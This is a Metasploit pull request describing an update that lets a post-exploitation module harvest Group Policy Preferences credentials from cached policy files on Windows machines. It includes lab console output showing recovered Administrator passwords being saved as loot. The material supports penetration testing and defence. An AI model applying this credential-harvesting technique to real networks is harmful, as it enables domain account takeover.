rapid7/metasploit-framework — pull request #3003 by Meatballs1 (2014-02-18 00:09:26+00:00)
Title: Group Policy Preferences - Cached

This updates the post GPP module to enumerate cached policy objects on the machine as well. This is beneficial for a couple of reasons:

* Deleting a group policy preference without unlinking it should leave the xml file intact
* A newer policy may not yet apply to a machine (see Win7 example)
* If the machine is currently disconnected from the domain you can still grab creds

Has some small cleanups to code as well and a small correction to the path calculation that still worked (I think it still found stuff with the . directory).

Windows 7 (note this one hasn't had gpupdate applied so shows old/existing value)
```
[*] Checking for group policy history objects...
[+] Cached Group Policy folder found locally
[*] Checking for SYSVOL locally...
[-] Error accessing C:\Windows\SYSVOL\sysvol : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) TEST from registry
[*] Retrieved DC WIN-2DE8F2QP867.TEST.LAB from registry
[*] Enumerating DCs for TEST on the network...
[+] DC Found: WIN-2DE8F2QP867
[*] Searching for Policy Share on WIN-2DE8F2QP867...
[+] Found Policy Share on WIN-2DE8F2QP867
[*] Searching for Group Policy XML Files...
[*] Parsing file: C:\Users\All Users\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

Name Value
---- -----
TYPE Groups.xml
USERNAME Administrator
PASSWORD Sup3rS3cr3t!
DOMAIN CONTROLLER All Users
DOMAIN Group Policy
CHANGED 2014-02-17 20:08:47
NEVER_EXPIRES? 1
DISABLED 0

[*] XML file saved to: /home/ben/.msf4/loot/20140217215950_default_192.168.5.101_windows.gpp.xml_341077.txt
[*] Parsing file: \\WIN-2DE8F2QP867\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

Name Value
---- -----
TYPE Groups.xml
USERNAME Administrator
PASSWORD Password7
DOMAIN CONTROLLER WIN-2DE8F2QP867
DOMAIN test.lab
CHANGED 2014-02-17 23:56:12
NEVER_EXPIRES? 1
DISABLED 0

[*] XML file saved to: /home/ben/.msf4/loot/20140217215951_default_192.168.5.101_windows.gpp.xml_139213.txt
[*] Post module execution completed
```

Windows XP:
```
[*] Checking for group policy history objects...
[+] Cached Group Policy folder found locally
[*] Checking for SYSVOL locally...
[-] Error accessing C:\WINDOWS\SYSVOL\sysvol : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) TEST from registry
[*] Retrieved DC WIN-2DE8F2QP867.TEST.LAB from registry
[*] Enumerating DCs for TEST on the network...
[+] DC Found: WIN-2DE8F2QP867
[*] Searching for Policy Share on WIN-2DE8F2QP867...
[+] Found Policy Share on WIN-2DE8F2QP867
[*] Searching for Group Policy XML Files...
[*] Parsing file: C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

Name Value
---- -----
TYPE Groups.xml
USERNAME Administrator
PASSWORD Password7
DOMAIN CONTROLLER All Users
DOMAIN Microsoft
CHANGED 2014-02-17 23:56:12
NEVER_EXPIRES? 1
DISABLED 0

[*] XML file saved to: /home/ben/.msf4/loot/20140217220306_default_192.168.5.102_windows.gpp.xml_918314.txt
[*] Parsing file: \\WIN-2DE8F2QP867\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

Name Value
---- -----
TYPE Groups.xml
USERNAME Administrator
PASSWORD Password7
DOMAIN CONTROLLER WIN-2DE8F2QP867
DOMAIN test.lab
CHANGED 2014-02-17 23:56:12
NEVER_EXPIRES? 1
DISABLED 0

[*] XML file saved to: /home/ben/.msf4/loot/20140217220306_default_192.168.5.102_windows.gpp.xml_898295.txt
[*] Post module execution completed
```